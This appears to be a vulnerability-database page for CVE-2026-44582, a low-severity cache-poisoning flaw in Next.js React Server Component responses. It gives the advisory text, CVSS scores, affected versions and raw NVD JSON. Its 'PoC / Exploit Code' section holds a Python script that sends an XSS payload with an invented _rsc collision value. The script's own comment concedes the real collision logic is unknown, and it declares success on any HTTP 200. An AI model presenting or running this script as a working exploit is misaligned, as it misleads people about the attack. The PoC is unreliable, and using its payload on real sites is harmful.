Security Vulnerability Report
中文
CVE-2026-44582 CVSS 3.7 LOW

CVE-2026-44582

Published: 2026-05-13 18:16:19
Last Modified: 2026-05-14 18:15:03

Description

Next.js is a React framework for building full-stack web applications. From 13.4.6 to before 15.5.16 and 16.2.5, React Server Component responses can be vulnerable to cache poisoning in deployments that rely on shared caches with insufficient response partitioning. In affected conditions, collisions in the _rsc cache-busting value can allow an attacker to poison cache entries so users receive the wrong response variant for a given URL. This vulnerability is fixed in 15.5.16 and 16.2.5.

CVSS Details

CVSS Score
3.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE
Next.js 13.4.6 - 15.5.15
Next.js 16.0.0 - 16.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Example) target_url = "http://example.com/api/rsc" # Malicious payload to be cached malicious_payload = "<script>alert('XSS')</script>" # Headers simulating the collision in _rsc cache-busting value # Note: Actual collision logic depends on specific implementation details of the vulnerable version headers = { "User-Agent": "CachePoison/1.0", "X-RSC-Param": "collision_value" } params = { "_rsc": "collision_value", # Attempting to trigger cache collision "data": malicious_payload } try: # Send request to poison the cache response = requests.get(target_url, headers=headers, params=params) if response.status_code == 200: print(f"[+] Potential cache poisoning successful. Status: {response.status_code}") print(f"[+] Response cached with key collision.") else: print(f"[-] Request failed with status: {response.status_code}") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44582", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:19.037", "lastModified": "2026-05-14T18:15:03.260", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Next.js is a React framework for building full-stack web applications. From 13.4.6 to before 15.5.16 and 16.2.5, React Server Component responses can be vulnerable to cache poisoning in deployments that rely on shared caches with insufficient response partitioning. In affected conditions, collisions in the _rsc cache-busting value can allow an attacker to poison cache entries so users receive the wrong response variant for a given URL. This vulnerability is fixed in 15.5.16 and 16.2.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-328"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "13.4.6", "versionEndExcluding": "15.5.16", "matchCriteriaId": "7213C619-8F64-4C03-8FFD-F93D5D24E6E5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.2.5", "matchCriteriaId": "27C5CF7A-7A33-4BE4-B8FD-10BFD813204A"}]}]}], "references": [{"url": "https://github.com/vercel/next.js/security/advisories/GHSA-vfv6-92ff-j949", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}